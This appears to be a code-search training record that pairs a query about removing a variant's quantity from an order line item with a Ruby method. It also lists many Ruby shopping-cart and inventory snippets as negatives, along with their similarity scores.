"def find_match_and_decrement_available(line_item)\n gs = Orders::LineItemPresenter.new(line_item).global_sku\n if rii = ReturnInventoryItem.where([\"upc= ? and active = true and available > 0\", gs&.id]).first\n rii.available -= 1\n rii.save\n elsif gs\n #do this check since global skus are jacked up and can't be trusted\n gs = GlobalSku.where(\n style_number: gs.style_number,\n product_name: gs.product_name,\n size: gs.size,\n color_id: gs.color_id,\n customisation_id: gs.customisation_id,\n height_value: gs.height_value,\n product_id: gs.product_id,\n ).first\n\n if rii = ReturnInventoryItem.where([\"upc = ? and active = true and available > 0\", gs&.id]).first\n rii.available -= 1\n rii.save\n end\n end\n rii\n end",
"def add_to_cart(item, quantity=1)\n i = self.items.index { |x| x.product == item }\n \n end",
"def create_line_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\texisting_line_item = Item.where('product_id = ? AND sale_id = ?', params[:product_id], @sale.id).first\n\n\t\tif existing_line_item.blank?\n\t\t\tline_item = Item.new(product_id: params[:product_id], sale_id: params[:sale_id], quantity: params[:quantity])\n\t\t\tline_item.price = line_item.product.price\n\t\t\tline_item.save\n\n\t\t\tremove_item_from_stock(params[:product_id])\n\t\t\tupdate_line_item_totals(line_item)\n\t\telse\n\t\t\texisting_line_item.quantity += 1\n\t\t\texisting_line_item.save\n\n\t\t\tremove_item_from_stock(params[:product_id])\n\t\t\tupdate_line_item_totals(existing_line_item)\n\t\tend\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def add_line_item(params)\r\n # Creates line items counter necessary for prefix.\r\n @LINE_ITEMS = 0 if !@LINE_ITEMS \r\n @LINE_ITEMS += 1 # VALUE REQUIRED IN:\r\n prefix = \"LV3_ITEM#{@LINE_ITEMS}_\" # USA | CANADA\r\n @PARAM_HASH[prefix + 'UNIT_COST'] = params[:unit_cost] # * *\r\n @PARAM_HASH[prefix + 'QUANTITY'] = params[:quantity] # * *\r\n @PARAM_HASH[prefix + 'ITEM_SKU'] = params[:item_sku] || '' # *\r\n @PARAM_HASH[prefix + 'ITEM_DESCRIPTOR'] = params[:descriptor] || '' # * *\r\n @PARAM_HASH[prefix + 'COMMODITY_CODE'] = params[:commodity_code] || '' # * *\r\n @PARAM_HASH[prefix + 'PRODUCT_CODE'] = params[:product_code] || '' # * \r\n @PARAM_HASH[prefix + 'MEASURE_UNITS'] = params[:measure_units] || '' # * *\r\n @PARAM_HASH[prefix + 'ITEM_DISCOUNT'] = params[:item_discount] || '' # *\r\n @PARAM_HASH[prefix + 'TAX_RATE'] = params[:tax_rate] || '' # * \r\n @PARAM_HASH[prefix + 'GOODS_TAX_RATE'] = params[:goods_tax_rate] || '' # *\r\n @PARAM_HASH[prefix + 'TAX_AMOUNT'] = params[:tax_amount] || '' # * \r\n @PARAM_HASH[prefix + 'GOODS_TAX_AMOUNT'] = params[:goods_tax_amount] || '' # *\r\n @PARAM_HASH[prefix + 'CITY_TAX_RATE'] = params[:city_tax_rate] || '' #\r\n @PARAM_HASH[prefix + 'CITY_TAX_AMOUNT'] = params[:city_tax_amount] || '' #\r\n @PARAM_HASH[prefix + 'COUNTY_TAX_RATE'] = params[:county_tax_rate] || '' #\r\n @PARAM_HASH[prefix + 'COUNTY_TAX_AMOUNT'] = params[:county_tax_amount] || '' #\r\n @PARAM_HASH[prefix + 'STATE_TAX_RATE'] = params[:state_tax_rate] || '' #\r\n @PARAM_HASH[prefix + 'STATE_TAX_AMOUNT'] = params[:state_tax_amount] || '' #\r\n @PARAM_HASH[prefix + 'CUST_SKU'] = params[:cust_sku] || '' #\r\n @PARAM_HASH[prefix + 'CUST_PO'] = params[:cust_po] || '' #\r\n @PARAM_HASH[prefix + 'SUPPLEMENTAL_DATA'] = params[:supplemental_data] || '' #\r\n @PARAM_HASH[prefix + 'GL_ACCOUNT_NUMBER'] = params[:gl_account_number] || '' #\r\n @PARAM_HASH[prefix + 'DIVISION_NUMBER'] = params[:division_number] || '' #\r\n @PARAM_HASH[prefix + 'PO_LINE_NUMBER'] = params[:po_line_number] || '' #\r\n @PARAM_HASH[prefix + 'LINE_ITEM_TOTAL'] = params[:line_item_total] || '' # * \r\n end",
"def create_line_item_from_inventory_item_id inventory_item_id, qty, include_price_in_expense, include_price_in_revenue, notes\n # Inventory item\n inventory_item = InventoryItem.find(inventory_item_id)\n line_items.push(create_line_item_from_inventory_item(\n inventory_item, qty,\n inventory_item.vendor, account,\n include_price_in_expense, include_price_in_revenue, notes))\n end",
"def add_product(product)\n item = @items.find {|i| i.product_id == product.id}\n if item\n item.quantity += 1\n else\n item = LineItem.for_product(product)\n @items << item\n end\n @total_price += product.price\n end",
"def test_get_line_item_quantity\n assert_equal @order.get_line_item_quantity(@order.order_line_items.find_by_name(items(:towel).name).id), order_line_items(:santa_next_christmas_order_item_6).quantity\n\n # Create a new order and put just one line item.\n new_order_line_item = OrderLineItem.for_product(items(:small_stuff))\n new_order = Order.new\n new_order.order_line_items << new_order_line_item\n assert new_order.save\n \n # Search for an existent line item of ANOTHER order.\n assert_equal @order.get_line_item_quantity(new_order.order_line_items.find_by_name(items(:small_stuff).name).id), 0\n end",
"def update_qty(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend",
"def load_existing_variant_sku\n @order = Spree::Order.find_by_id(params[:order_id])\n @line_item = Spree::LineItem.find_by_id(params[:line_item_id])\n respond_to do |format|\n format.html { render :partial=>\"edit_lineitems\"}\n end\n end",
"def handle_merge(current_line_item, other_order_line_item)\n if current_line_item\n current_line_item.quantity += other_order_line_item.quantity\n handle_error(current_line_item) unless current_line_item.save\n else\n order.line_items << other_order_line_item\n handle_error(other_order_line_item) unless other_order_line_item.save\n end\n end",
"def create\n # Find the item in the user's cart, if the user does not already\n # have the item in their cart, create a new line_item\n current_item = LineItem.find_or_create_by product_size_id: params[:product_size_id], cart_id: @cart.id\n\n # Increment the item's quantity by one\n requested_qty = current_item.quantity + 1\n\n # Invoke method in line_item.rb that checks the\n # requested qty against current stock levels\n update_qty = current_item.get_update_qty requested_qty\n\n # If the user's requested quantity can not be fulfilled, set a flash error\n unless update_qty == requested_qty\n flash[:item_error] = \"Sorry, not enough stock. Your shopping basket has been adjusted accordingly.\"\n end\n\n # Save the line_item update\n current_item.update quantity: update_qty\n\n # Redirect to My Basket page\n redirect_to cart_path\n end",
"def sweetist_synchronize_line_item(line_item_hash, sweetist_order_id)\n line_item_match = self.integration_item.integration_sync_matches.find_or_create_by(integration_syncable_id: line_item_hash.fetch(:id,nil), integration_syncable_type: 'Spree::LineItem')\n # TODO sync variant first\n\n if line_item_match.sync_id\n payload = sweetist_map_to_sweetist_line_item(line_item_hash)\n push_request = send_request(\"#{ENV['SWEETIST_INTEGRATION_URL']}/api/orders/#{sweetist_order_id}/line_items/#{line_item_match.sync_id}?token=#{ENV['SWEETIST_API_KEY']}\", :patch, payload)\n elsif false\n # TODO find line item by variant\n\n else\n payload = sweetist_map_to_sweetist_line_item(line_item_hash)\n payload[:line_item][:order_id] = sweetist_order_id\n push_request = send_request(\"#{ENV['SWEETIST_INTEGRATION_URL']}/api/orders/#{sweetist_order_id}/line_items?token=#{ENV['SWEETIST_API_KEY']}\", :post, payload)\n end\n\n if push_request.code.to_s.starts_with?('20')\n sweetist_line_item = JSON.parse(push_request.body)\n line_item_match.update_columns(sync_id: sweetist_line_item.fetch('id',nil))\n { status: 10, log: \"#{line_item_hash.fetch(:item_name,'')} saved to order\"}\n else\n { status: -1, log: \"#{line_item_hash.fetch(:item_name,'')} => Error(#{push_request.code}) - #{push_request.message}\"}\n end\n\n rescue Exception => e\n { status: -1, log: \"#{e.class.to_s} - #{e.message}\" }\n end",
"def create\n @cart = current_cart\n product = Product.find(params[:product_id])\n @line_item = @cart.line_items.find_by_product_id(product.id)\n if @line_item\n if params[:quantity].to_i < @line_item.product.stock\n if !params[:option].nil?\n @line_item.option = params[:option]\n end\n @line_item.quantity = params[:quantity]\n end\n else\n if params[:option].nil?\n @line_item = @cart.line_items.build(:product_id => product.id, :quantity => params[:quantity])\n else\n @line_item = @cart.line_items.build(:product_id => product.id, :quantity => params[:quantity], :option => params[:option])\n end\n end\n \n# @retval = Hash.new\n# @retval = @cart.add_product(product.id) \n\n# @line_item = @retval[\"current_item\"]\n# if @retval[\"notice\"]\n# flash[:notice] = @retval[\"notice\"]\n# end\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to(:action => 'index', :controller => 'store') }\n format.js { @current_item = @line_item }\n format.xml { render :xml => @line_item, :status => :created, :location => @line_item }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_items_from_cart(cart)\n cart.line_items.each do |item|\n self.line_items << item if item.sufficient_stock?\n end\n end",
"def create_line_item_from_inventory_item_id inventory_item_id, qty, include_price_in_expense, include_price_in_revenue, notes\n # Inventory item\n inventory_item = InventoryItem.find(inventory_item_id)\n new_line_items = create_line_item_from_inventory_item(\n inventory_item, qty,\n inventory_item.vendor, account,\n include_price_in_expense, include_price_in_revenue, notes)\n line_items.push(new_line_items)\n new_line_items\n end",
"def add_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity += 1\n\t\tline_item.save\n\n\t\t# Llama método que reduce cantidad de stock\n\t\tremove_item_from_stock(params[:product_id])\n\t\tupdate_line_item_totals(line_item)\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def update_quantity(item, grocery_hash={}, quantity)\n\tif grocery_hash.include?(item)\n\t\tgrocery_hash[item] = quantity\n\tend\n\treturn grocery_hash\nend",
"def flow_line_item_price line_item, total=false\n result = unless flow_order\n Flow.format_default_price(line_item.price * (total ? line_item.quantity : 1))\n else\n id = line_item.variant.id.to_s\n\n lines = flow_order.lines || []\n item = lines.select{ |el| el['item_number'] == id }.first\n\n return Flow.price_not_found unless item\n\n total ? item['total']['label'] : item['price']['label']\n end\n\n # add line item promo\n # promo_total, adjustment_total\n result += ' (%s)' % Flow.format_default_price(line_item.promo_total) if line_item.promo_total > 0\n\n result\n end",
"def add_or_update_item_qty(shopping_list, item, quantity)\n shopping_list[item] = quantity\nend",
"def update_item\n order = current_user.init_cart.order\n line_item = order.line_items.find(params[:id])\n line_item.attributes = params[:item]\n image = line_item.image\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def update_line_item_totals(line_item)\n line_item.total_price = line_item.price * line_item.quantity\n line_item.save\n end",
"def find_line_item_by_variant(variant, options = {})\n ad_hoc_option_value_ids = ( !!options[:ad_hoc_option_values] ? options[:ad_hoc_option_values] : [] )\n ad_hoc_option_value_customizations = ( !!options[:ad_hoc_option_value_customizations] ? options[:ad_hoc_option_value_customizations] : [] )\n product_customizations = ( !!options[:product_customizations] ? options[:product_customizations].map{|ids| ids.first.to_i} : [] )\n line_items.detect do |li|\n li.variant_id == variant.id &&\n matching_configurations(li.ad_hoc_option_values, ad_hoc_option_value_ids) &&\n matching_customizations(li.product_customizations, product_customizations) &&\n matching_ad_hoc_customizations(li.ad_hoc_option_values_line_items, ad_hoc_option_value_customizations)\n end\n end",
"def create_line_item_for_per_person_charge qty, vendor_id, include_price_in_expense, include_price_in_revenue, notes\n event_vendor = event_vendors.where(:vendor_id => vendor_id).first\n line_items.push(create_line_item_for_per_person_charge_2(event_vendor.participation, event_vendor, true, true, \"\"))\n end",
"def line_items\n Spree::LineItem\n .joins(order: [:order_cycle, :customer])\n .for_order_cycle(order_cycle)\n .where(\"spree_orders.state = 'complete'\")\n .group(\n 'customers.id, ' \\\n 'spree_line_items.variant_id, ' \\\n 'spree_line_items.order_id, ' \\\n 'spree_line_items.quantity'\n )\n .select([:variant_id, :order_id, :quantity])\n end",
"def item_quantity(item_id)\n details.select {|v| v.item_id === item_id}.inject(0) {|s, v| s += v.quantity }\n end",
"def add_variant(variant)\n @variant_list[variant] += 1\n\n end",
"def add_line_item_from_string(input_line)\n parsed_line = /(?<quantity>\\d+) (?<item>.+) at (?<price>\\d*\\.\\d{2})?/.match(input_line)\n new_line_item = LineItem.new(parsed_line['quantity'],parsed_line['item'],parsed_line['price'])\n @line_items << new_line_item\n end",
"def add_product_to_cart(user, product_or_variant)\n variant = product_or_variant.is_a?(::Spree::Product) ? product_or_variant.master : product_or_variant\n product = product_or_variant.is_a?(::Spree::Product) ? product_or_variant : product_or_variant.product\n if product_or_variant.is_a?(::Spree::Product)\n visit product_path(product)\n # click_button 'Add To Cart' #\n else\n visit variant_path(id: variant.id)\n # TODO: handle selecting variant and Add to Cart\n end\n post populate_orders_path(variant_id: variant.id, quantity: 1)\n\n order = Spree::Order.where(user_id: user.id, state:'cart').last\n expect(order).not_to be_nil\n line_item = order.line_items.where(variant_id: variant.id).last\n expect(line_item).not_to be_nil\n order\nend",
"def total_quantity\n line_items.sum(:quantity)\n end",
"def _line_items(order)\n params.require(:orders).each do |variant_id, info|\n count = info.require(:count)\n price = info.require(:price)\n variant = Variant.find variant_id\n LineItem.create(variant_id: variant_id, order: order, quantity: count,\n price: price).ready_to_pay!\n end\n end",
"def update_qty(list_items, item_name, new_qty)\n raise ArguementError.new(\"This item does not exist\") unless list_items.include?(item_name)\n list_items[item_name] = item_qty\nend",
"def update_qty(grocery_list, item, qty)\n grocery_list[item] = qty\n grocery_list\nend",
"def update_inventory\n self.order_items.each { |item| item.variant.add_pending_to_customer }\n end",
"def update_cart\n product = Product.find_by_cs_sku(params[:sku])\n item = ReservedItem.where('user_id = ? and product_id = ? and session_id = ?', current_user.id,\n product.id,\n session.id).first\n qty = BigDecimal.new(get_qty)\n\n if available?(product, item, qty)\n product.update_attribute(:qty, (product.qty + item.qty) - qty)\n item.update_attribute(:qty, qty)\n respond_with_format { @cart.update_item(params[:sku], get_qty) }\n else\n flash[:error] = 'Not enough item in inventory'\n respond_with_format\n end\n end",
"def update_line_item_totals(line_item)\n\t\tline_item.total_price = line_item.price * line_item.quantity\n\t\tline_item.save\n\tend",
"def update_qty(list_hash, item, qty)\r\n \tlist_hash[item] = qty\r\n \tlist_hash\r\nend",
"def add_item(item, quantity = 1)\n order_item = self.order_items.find_by item: item, price: item.price\n if order_item.is_a? OrderItem\n order_item.add quantity\n else\n self.order_items.create item: item, price: item.price, quantity: quantity\n end\n recalculate!\n end",
"def item_count\n self.line_items.inject(0) { |total, line_item| total + line_item.quantity }\n end",
"def add_item(hash, item, qty)\n\n if hash.has_key?(item)\n hash[ item ] += qty\n else\n hash[ item ] = qty\n end\n\nend",
"def add_item(list, item_to_be_added, qty = 1)\n # if !list.has_key? item_to_be_added\n # list[item_to_be_added] = qty\n # end\n list[item_to_be_added] = qty if !list.has_key? item_to_be_added\n list\nend",
"def create\n if params[:line_item].has_key? \"option_id\"\n if !params[:line_item][:option_id].eql?(\"\")\n @option = Option.find(params[:line_item][:option_id])\n @line_item = LineItem.find_by_cart_id_and_option_id(current_cart.id, @option.id)\n if @line_item == nil\n # Didn't find existing line_item, create new one\n @line_item = LineItem.create!(:cart => current_cart, :option => @option, :quantity => ((params.has_key? \"quantity\") ? params[:quantity].to_i : 1), :unit_price => @option.price)\n flash[:notice] = \"Added #{@line_item.quantity} #{@option.item.name} - #{@option.details} to cart.\"\n else\n #Found existing line_item, increment quantity\n @line_item.update_attribute(:quantity, @line_item.quantity + ((params.has_key? \"quantity\") ? params[:quantity].to_i : 1))\n flash[:notice] = \"Updated #{@option.item.name} - #{@option.details} in cart to #{@line_item.quantity}.\"\n end\n end\n end\n \n respond_to do |format|\n format.html { redirect_to current_cart_url }\n format.js # create.rjs\n end\n end",
"def update\n @lineitem = Lineitem.find(params[:id])\n @item = Item.find(@lineitem.item_id)\n @lineitem_quantity_temp = @lineitem.quantity\n respond_to do |format|\n if @lineitem.update_attributes(params[:lineitem])\n if @item.amount > 0\n format.html { redirect_to 'http://localhost:3000/carts/show'}\n format.json { head :no_content }\n else\n @lineitem.quantity = @lineitem_quantity_temp\n @lineitem.save\n format.html {redirect_to 'http://localhost:3000/itemnotfound.html/' }\n end\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lineitem.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.8064057",
"0.7755228",
"0.74048954",
"0.724215",
"0.71905875",
"0.71327955",
"0.70411533",
"0.70286345",
"0.7001142",
"0.6993607",
"0.6870527",
"0.6864984",
"0.6861738",
"0.68241423",
"0.6776435",
"0.67309844",
"0.6688398",
"0.66866",
"0.66849166",
"0.6675545",
"0.6641142",
"0.6628338",
"0.6625421",
"0.6614117",
"0.6577294",
"0.6572918",
"0.65629244",
"0.65458834",
"0.6509091",
"0.6506316",
"0.6499522",
"0.6491685",
"0.64781773",
"0.64589584",
"0.6447875",
"0.6429064",
"0.641387",
"0.64109415",
"0.640573",
"0.63982683",
"0.63907164",
"0.637687",
"0.6357162",
"0.63372856",
"0.63343537",
"0.632787",
"0.632481",
"0.6313725",
"0.6307004",
"0.6304549",
"0.6262375",
"0.6252794",
"0.6246574",
"0.6237595",
"0.6192898",
"0.6188652",
"0.6160874",
"0.6144121",
"0.6141548",
"0.61252385",
"0.61213344",
"0.6113232",
"0.6098184",
"0.6081143",
"0.6078362",
"0.60693043",
"0.6052856",
"0.6022176",
"0.6013035",
"0.6002437",
"0.59931827",
"0.5983392",
"0.59824073",
"0.5961279",
"0.5944468",
"0.59405994",
"0.5939516",
"0.593768",
"0.5930781",
"0.5919282",
"0.59038216",
"0.5896188",
"0.58922344",
"0.5886204",
"0.5875868",
"0.58707577",
"0.5866018",
"0.5865106",
"0.5865053",
"0.5859374",
"0.58585566",
"0.58536476",
"0.5841247",
"0.58397895",
"0.58374965",
"0.58347",
"0.5833011",
"0.5832752",
"0.5828201",
"0.5818205"
] |
0.66466355
|
20
|
Get current line item for variant Remove variant qty from line_item
|
def remove(variant, quantity, shipment=nil)
line_item = order.find_line_item_by_variant(variant)
unless line_item
raise ActiveRecord::RecordNotFound, "Line item not found for variant #{variant.sku}"
end
remove_from_line_item(line_item, variant, quantity, shipment)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def decrement_line_item_quantity(line_item_id)\n current_item = line_items.find(line_item_id)\n if current_item.quantity > 1\n current_item.quantity -= 1\n else\n current_item.destroy\n end\n current_item\n end",
"def remove(variant, quantity = 1, shipment = nil)\n line_item = order.find_line_item_by_variant(variant)\n\n unless line_item\n raise ActiveRecord::RecordNotFound, \"Line item not found for variant #{variant.sku}\"\n end\n\n remove_from_line_item(line_item, variant, quantity, shipment)\n end",
"def deduct_quantity\n line_items.each do |i|\n i.product.current_stock -= i.quantity\n i.product.save\n end\n end",
"def remove_line_item(line_item)\n unless self.ordered?\n line_item.destroy\n end\n end",
"def remove_lineitem\n line_item = @sale.line_items.find_by_id(params[:line_item])\n respond_to do |format|\n if line_item.present?\n line_item.item.stock_amount = line_item.item.stock_amount + line_item.quantity\n line_item.item.save\n line_item.destroy\n end\n update_totals\n\n format.js { ajax_refresh }\n end\n end",
"def remove_item\n\t\tset_sale\n\t\tpopulate_products\n\n\t\tline_item = Item.where(sale_id: params[:sale_id], product_id: params[:product_id]).first\n\t\tline_item.quantity -= 1\n\n\t\tif line_item.quantity == 0\n\t\t\tline_item.destroy\n\t\telse\n\t\t\tline_item.save\n\t\t\tupdate_line_item_totals(line_item)\n\t\tend\n\n\t\t# Llama método que devuelve cantidad al stock\n\t\treturn_item_to_stock(params[:product_id])\n\n\t\tupdate_totals\n\n\t\trespond_to do |format|\n\t\t\tformat.js { ajax_refresh }\n\t\tend\n\tend",
"def decrease\n @line_item = @current_cart.line_items.where(:id => params[:line_item_id]).first\n if @line_item.count > 0\n @line_item.update_attribute :count, @line_item.count - 1\n else\n @line_item.destroy # destroy database record if quantity was decreased to 0\n end\n end",
"def destroy\n @line_item = @current_cart.line_items.where(:id => params[:id]).first\n unless @line_item.nil?\n @line_item.destroy\n end\n end",
"def remove_cart_line_item(a_cart_line_item, options={})\n deleted_line_item = nil\n item_to_remove = find(:first, a_cart_line_item)\n deleted_line_item = @line_items.delete(item_to_remove) if item_to_remove\n deleted_line_item\n end",
"def update_cart_line_item(a_line_item, quantity, options={})\n return remove(a_line_item, options) if quantity <= 0\n item = find(:first, a_line_item)\n item.quantity = quantity if item\n item\n end",
"def deduct_quantities_from_products\n line_items.each do |item|\n item.product_or_variant.deduct_quantity(item.quantity)\n end\n end",
"def remove_item(item)\n order_item = self.order_items.where(item: item).order('price asc').first\n if order_item.is_a? OrderItem\n order_item.remove 1\n recalculate!\n end\n end",
"def destroy\n\n if params[:product_id] then\n# TODO need to use @cart.id to ensure only this users line_item is accessed.\n current_item = LineItem.find_by_product_id(params[:product_id] )\n else\n current_item = LineItem.find(params[:id])\n end\n\n if current_item\n current_item.quantity -= 1\n puts current_item.quantity\n if current_item.quantity <= 0\n current_item.destroy\n else\n current_item.save\n end\n else\n current_item.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to store_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if params[:line_item_id]\n @cart.line_items.find(params[:line_item_id]).destroy\n else\n @cart.destroy\n end\n end",
"def remove_item\n product = Product.find_by_cs_sku(params[:sku])\n item = ReservedItem.find_by_sql(['SELECT qty FROM reserved_items where user_id = ? and product_id = ? and session_id = ?',\n current_user.id,\n product.id,\n session.id]).first\n unless item.nil?\n product.update_attribute(:qty, product.qty + item.qty)\n ReservedItem.delete_all(['user_id = ? and product_id = ? and session_id = ?', current_user.id,\n product.id,\n session.id])\n end\n\n respond_with_format { @cart.remove_item params[:sku] }\n end",
"def find_match_and_decrement_available(line_item)\n gs = Orders::LineItemPresenter.new(line_item).global_sku\n if rii = ReturnInventoryItem.where([\"upc= ? and active = true and available > 0\", gs&.id]).first\n rii.available -= 1\n rii.save\n elsif gs\n #do this check since global skus are jacked up and can't be trusted\n gs = GlobalSku.where(\n style_number: gs.style_number,\n product_name: gs.product_name,\n size: gs.size,\n color_id: gs.color_id,\n customisation_id: gs.customisation_id,\n height_value: gs.height_value,\n product_id: gs.product_id,\n ).first\n\n if rii = ReturnInventoryItem.where([\"upc = ? and active = true and available > 0\", gs&.id]).first\n rii.available -= 1\n rii.save\n end\n end\n rii\n end",
"def release_quantity_of_item(item, quantity)\r\n if self.items.include?(item)\r\n item.quantity -= quantity\r\n end\r\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n product = Product.find_by_id(@line_item.product.id)\n product.update_attributes(:remaining_quantity => (product.remaining_quantity + @line_item.quantity))\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(orders_path) }\n format.json { head :ok }\n end\n end",
"def remove_items_from_cart\n line_items.each { |i| i.cart = nil }\n end",
"def remove_product(a_product, options={})\n deleted_line_item = nil\n item_to_remove = find(:first, a_product)\n deleted_line_item = @line_items.delete(item_to_remove) if item_to_remove\n deleted_line_item\n end",
"def destroy_or_save(line_item, line_item_quantity)\n line_item_quantity.zero? ? line_item.destroy! : line_item.save!\n end",
"def remove\n if @item.quantity == 1\n @item.destroy!\n else\n @item.decrement(:quantity)\n @item.save!\n end\n\n refresh\n end",
"def destroy\n @line_item = Spree::LineItem.find_by_id(params[:id])\n @order = Spree::Order.find_by_number(params[:order_id])\n # code to find the order_total\n if @order.market_place.present?\n case @order.market_place.code\n when \"qoo10\"\n order_total = @order.market_place_details.present? ? @order.market_place_details[\"total\"] : @order.total\n when \"lazada\" , \"zalora\"\n order_total = @order.total\n end\n end\n if @line_item.present?\n increased_qty = @line_item.quantity\n @variant = @line_item.variant\n @product = @variant.product if @variant.present?\n @line_item.destroy\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @order.seller_id, @order.market_place_id, @product.id).try(:first)\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).try(:first)\n if @stock_product.present?\n @stock_product.update_attributes(:count_on_hand=>@stock_product.count_on_hand + increased_qty.to_i)\n @variant.update_attributes(:fba_quantity=>@variant.fba_quantity + increased_qty.to_i) if [email protected]_inflations.present?\n msg = 'Line Items Controller destroy'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n end\n end\n end\n # code to update order total after creating line item for order\n @order.update_column(:total, order_total)\n @order.reload\n respond_to do |format|\n format.html { redirect_to modify_order_admin_order_path(@order), notice: 'Product is successfully deleted' }\n end\n end",
"def remove_quantity(inventory_item_id, quantity, concept = 3)\n item_location = ItemLocation.find_by(\n inventory_item_id: inventory_item_id,\n warehouse_location_id: id\n )\n\n return NOT_ENOUGH_STOCKS if quantity > item_location.quantity\n\n item_location.quantity -= quantity\n quantity = item_location.quantity if item_location.quantity.negative?\n\n item_location.save\n WarehouseTransaction.create(\n inventory_item_id: inventory_item_id,\n warehouse_location_id: id,\n quantity: quantity,\n concept: concept\n )\n\n if item_location.quantity <= 0\n item_location.destroy\n return 0\n end\n update_status\n item_location.quantity\n end",
"def destroy\n line_item = LineItem.find params[:id]\n line_item.destroy\n\n redirect_to cart_path\n end",
"def remove_item\n prod_id = params[:product_id].to_s\n item = cart[prod_id] || {\"Num\" => 0}\n item[\"Num\"] -=1\n cart[prod_id] = item\n cart.delete(prod_id) if item[\"Num\"] < 1\n update_cart cart\n flash[:success] = t('itm_removed')\n redirect_back fallback_location: :root\n end",
"def get_line_item_quantity(id)\n\t\tself.order_line_items.each do |item|\n\t\t\treturn item.quantity if item.product_id == id\n\t\tend\n\t\treturn 0\n\tend",
"def line_items_by_variant_id\n @line_items_by_variant_id ||= line_items.group_by(&:variant_id)\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def add_line_item_to_order( variant )\n duplicate_line_item = line_item_exists?( variant )\n duplicate_line_item.quantity += 1 and return duplicate_line_item if duplicate_line_item\n\n line_items.build :name => variant.good.name, \n :price => variant.price, \n :options => variant.option_values_to_s,\n :sku => variant.sku\n end",
"def deduct(line_item_units)\n\t\tself.units_on_hand = self.units_on_hand - line_item_units \n\t\t# self.units_on_hand =- line_item_units <- means the same thing =- is shorthand\n\t\tself.save!\n\tend",
"def initialize_line_item_with_variant( variant_id, options = {} )\n init_quantity = options[ :quantity ].to_i\n init_quantity = 1 if init_quantity == 0\n \n duplicate_line_item = line_items.where( variant_id: variant_id ).first\n duplicate_line_item.quantity += init_quantity and return duplicate_line_item if duplicate_line_item\n\n line_items.build variant_id: variant_id, quantity: init_quantity\n end",
"def decrement_qty!\n val = get_product.the_qty(object.variation_id) - object.qty\n if object.variation_id.present?\n product_variation.update_column(:qty, val)\n else\n product.update_field_value('ecommerce_qty', val)\n end\n val\n end",
"def remove!(donation_or_purchase)\n log = {}\n donation_or_purchase.line_items.each do |line_item|\n inventory_item = InventoryItem.find_by(storage_location: id, item_id: line_item.item_id)\n if (inventory_item.quantity - line_item.quantity) <= 0\n inventory_item.destroy\n else\n inventory_item.update(quantity: inventory_item.quantity - line_item.quantity)\n end\n log[line_item.item_id] = \"-#{line_item.quantity}\"\n end\n log\n end",
"def item_remover(hash, item, quantity = 1)\n hash[item] -= quantity\n if hash[item] <= 0\n hash.delete(item) \n end\n hash\nend",
"def destroy\n # @line_item = LineItem.find(params[:id])\n # @line_item.destroy\n @cart = current_cart\n# item = Item.find(params[:item_id])\n quantity = params[:quantity] || 1\n item_id=params[:item_id]\n @line_item = @cart.delete_item(item_id,quantity.to_i)\n\n respond_to do |format|\n format.html { redirect_to :back, notice: \"L'oggetto è stato rimosso dal carrello!\" }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def use_item(item_name:, quantity:)\n total_items_quantity[item_name] -= quantity\n end",
"def remove_item(list, item)\n # list.delete_if do |grocery_item, qty|\n # grocery_item == item\n # end\n list.delete(item)\n\n list\nend",
"def destroy\n @cart = current_cart\n product = Product.find(params[:product_id])\n #@line_item = LineItem.find(params[:id])\n @line_item = @cart.remove_product(product.id)\n product.update_attributes(:quantity => product.quantity + 1)\n\n respond_to do |format|\n format.html { redirect_to store_url }\n format.json { head :no_content }\n end\n end",
"def delete_item(code)\n @stock.delete(code.to_sym)\n end",
"def unrefulfill_line_item(line_item_id)\n li = Spree::LineItem.find(line_item_id)\n li.refulfill = nil\n li.save\n end",
"def line_item\n variant = Spree::Variant.find(subscription_line_item.subscribable_id)\n raise UnsubscribableError.new(variant) unless variant.subscribable?\n return unless variant.can_supply?(subscription_line_item.quantity)\n\n Spree::LineItem.new(variant: variant, quantity: subscription_line_item.quantity)\n end",
"def remove_item\n\n end",
"def variant\n Spree::Variant.unscoped { super }\n end",
"def variant\n Spree::Variant.unscoped { super }\n end",
"def remove_item(item_to_be_removed)\n $groceryhash.delete(item_to_be_removed)\nend",
"def remove_article(article_id)\n\t\tcurrent_item = line_items.find_by(article_id: article_id)\n\t\tif current_item\n\t\t if current_item.quantity >1\n\t\t\t current_item.quantity -=1\n\t\t\telse \n\t\t\t\tcurrent_item.destroy\n\t\t\tend\n\t\tend\n\n\t\tcurrent_item\n\tend",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path }\n format.json { head :no_content }\n end\n end",
